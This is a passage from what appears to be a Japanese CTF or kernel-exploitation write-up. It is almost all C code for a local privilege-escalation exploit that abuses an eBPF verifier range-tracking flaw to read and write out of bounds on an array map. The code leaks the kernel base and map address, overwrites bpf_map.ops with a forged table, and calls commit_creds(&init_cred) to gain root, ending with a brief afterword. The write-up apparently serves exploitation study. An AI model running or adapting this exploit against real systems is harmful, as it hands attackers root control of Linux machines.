336 /* get cmap[1] */
337 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
338 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
339 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
340 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1
341 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1)
342 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
343 BPF_EXIT_INSN(),
344 BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1)
345 /* fix r6/r7 range */
346 BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2), // ensure R6>=0
347 BPF_MOV64_IMM(BPF_REG_0, 0),
348 BPF_EXIT_INSN(),
349 BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1), // ensure 0<=R6<=1
350 BPF_JMP_IMM(BPF_JA, 0, 0, 2),
351 BPF_MOV64_IMM(BPF_REG_0, 0),
352 BPF_EXIT_INSN(),
353 BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2), // ensure R7>=0
354 BPF_MOV64_IMM(BPF_REG_0, 0),
355 BPF_EXIT_INSN(),
356 BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1), // ensure 0<=R7<=1
357 BPF_JMP_IMM(BPF_JA, 0, 0, 2),
358 BPF_MOV64_IMM(BPF_REG_0, 0),
359 BPF_EXIT_INSN(),
360 // exploit r6 range
361 BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7), // r6 >>= r7 (r6 regarded as 0, actually 1)
362 BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 *= -1
363 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N), // r6 *= N
364
365 // load it malciously
366 BPF_ALU64_REG(BPF_ADD, BPF_REG_9, BPF_REG_6), // r9 += r6 (r9 = &cmap[0] + N)
367 BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_9, 0), // r3 = qword [r9] (r3 = [&cmap[0] + N])
368 BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_3, 0), // [r8] = r3 (cmap[0] = r9)
369 // Go Home
370 BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0
371 BPF_EXIT_INSN()
372 };
373
374 reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
375 if(reader < 0){
376 errExit("reader not initialized");
377 }
378 array_update(control_map, 0, 1);
379 array_update(control_map, 1, 0);
380 trigger_proc(reader);
381 const ulong tmp = get_ulong(control_map, 0);
382 return tmp;
383}
384
385ulong leak_controlmap(void)
386{
387 struct bpf_insn reader_insns[] = {
388 /* get cmap[0] */
389 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
390 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
391 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
392 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
393 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
394 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0)
395 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
396 BPF_EXIT_INSN(),
397 BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0)
398 BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = &cmap[0]
399 BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0]
400
401 BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_8, 0), // [r8] = r3 (cmap[0] = r9)
402 // Go Home
403 BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0
404 BPF_EXIT_INSN()
405 };
406
407 int tmp_reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
408 if(tmp_reader < 0){
409 errExit("tmp_reader not initialized");
410 }
411 trigger_proc(tmp_reader);
412 const ulong tmp = get_ulong(control_map, 0);
413 return tmp;
414}
415
416void ops_NIRUGIRI(ulong controlmap_addr, ulong kernbase)
417{
418 const ulong fakeops_addr = controlmap_addr + 0x10;
419 const ulong init_cred = kernbase + 0xE43E60;
420 const ulong commit_creds = kernbase + 0x081E70;
421 const uint N = 0x90;
422 const uint zero = 0;
423 printf("[.] init_cred: 0x%lx\n", (((init_cred>>32) & 0xFFFFFFFFUL)<<32) + (init_cred & 0xFFFFFFFFUL));
424
425 struct bpf_insn writer_insns[] = {
426 /* get cmap[0] */
427 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
428 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
429 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
430 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
431 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
432 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0)
433 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
434 BPF_EXIT_INSN(),
435 BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0)
436 BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = &cmap[0]
437 BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0]
438 /* get cmap[1] */
439 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
440 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
441 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
442 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1
443 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1)
444 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
445 BPF_EXIT_INSN(),
446 BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1)
447 /* fix r6/r7 range */
448 BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2), // ensure R6>=0
449 BPF_MOV64_IMM(BPF_REG_0, 0),
450 BPF_EXIT_INSN(),
451 BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1), // ensure 0<=R6<=1
452 BPF_JMP_IMM(BPF_JA, 0, 0, 2),
453 BPF_MOV64_IMM(BPF_REG_0, 0),
454 BPF_EXIT_INSN(),
455 BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2), // ensure R7>=0
456 BPF_MOV64_IMM(BPF_REG_0, 0),
457 BPF_EXIT_INSN(),
458 BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1), // ensure 0<=R7<=1
459 BPF_JMP_IMM(BPF_JA, 0, 0, 2),
460 BPF_MOV64_IMM(BPF_REG_0, 0),
461 BPF_EXIT_INSN(),
462 // exploit r6 range
463 BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7), // r6 >>= r7 (r6 regarded as 0, actually 1)
464 BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 *= -1
465 // overwrite ops into forged ops
466 BPF_MOV64_IMM(BPF_REG_1, (fakeops_addr>>32) & 0xFFFFFFFFUL),
467 BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
468 BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fakeops_addr & 0xFFFFFFFFUL),
469 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),
470 BPF_ALU64_REG(BPF_ADD, BPF_REG_8, BPF_REG_6), // r8 += r6
471 BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0),
472 // forge ptrs[0] with &init_cred
473 BPF_MOV64_IMM(BPF_REG_2, 0),
474 BPF_MOV64_IMM(BPF_REG_3, init_cred & 0xFFFFFFFFUL),
475 BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32),
476 BPF_ALU64_IMM(BPF_ARSH, BPF_REG_3, 32),
477 BPF_ALU64_REG(BPF_ADD, BPF_REG_2, BPF_REG_3),
478 BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_2, 0),
479
480 // Go Home
481 BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0
482 BPF_EXIT_INSN()
483 };
484
485 int evilwriter= create_filtered_socket_fd(writer_insns, ARRSIZE(writer_insns));
486 if(evilwriter < 0){
487 errExit("reader not initialized");
488 }
489
490 // setup fake table
491 for(int ix=0; ix!=10; ++ix){
492 array_update(control_map, ix+2, commit_creds);
493 }
494 array_update(control_map, 6, kernbase + 0x12B730); // fd_array_map_delete_elem
495
496 // overwrite bpf_map.ops
497 array_update(control_map, 0, 1);
498 array_update(control_map, 1, 0);
499 trigger_proc(evilwriter);
500
501 // NIRUGIRI
502 union bpf_attr lookup_map_attrs = {
503 .map_fd = control_map,
504 .key = (uint64_t)&zero,
505 };
506 bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs);
507 NIRUGIRI();
508 printf("[-] press ENTER to die\n");
509 WAIT;
510}
511
512int main(int argc, char *argv[]) {
513 control_map = array_create(0x8, 0x10); // [0] always 1, [1] always 0
514
515 // leak kernbase
516 const ulong kernbase = read_rel(0x90) - 0xA12100;
517 printf("[+] kernbase: 0x%lx\n", kernbase);
518
519 // leak controlmap's addr
520 const ulong controlmap_addr = leak_controlmap();
521 printf("[+] controlmap: 0x%lx\n", controlmap_addr);
522
523 // forge bpf_map.ops and do commit_creds(&init_cred)
524 ops_NIRUGIRI(controlmap_addr, kernbase);
525
526 return 0; // unreachable
527}
アウトロ
最初は権限ゆるすぎてどうなんだろうと思ってたけど、bpf_map.btf
なしで ROOT 取る流れを考えるのは楽しかったです。
もうすぐ春ですね。海を見に行きたいです。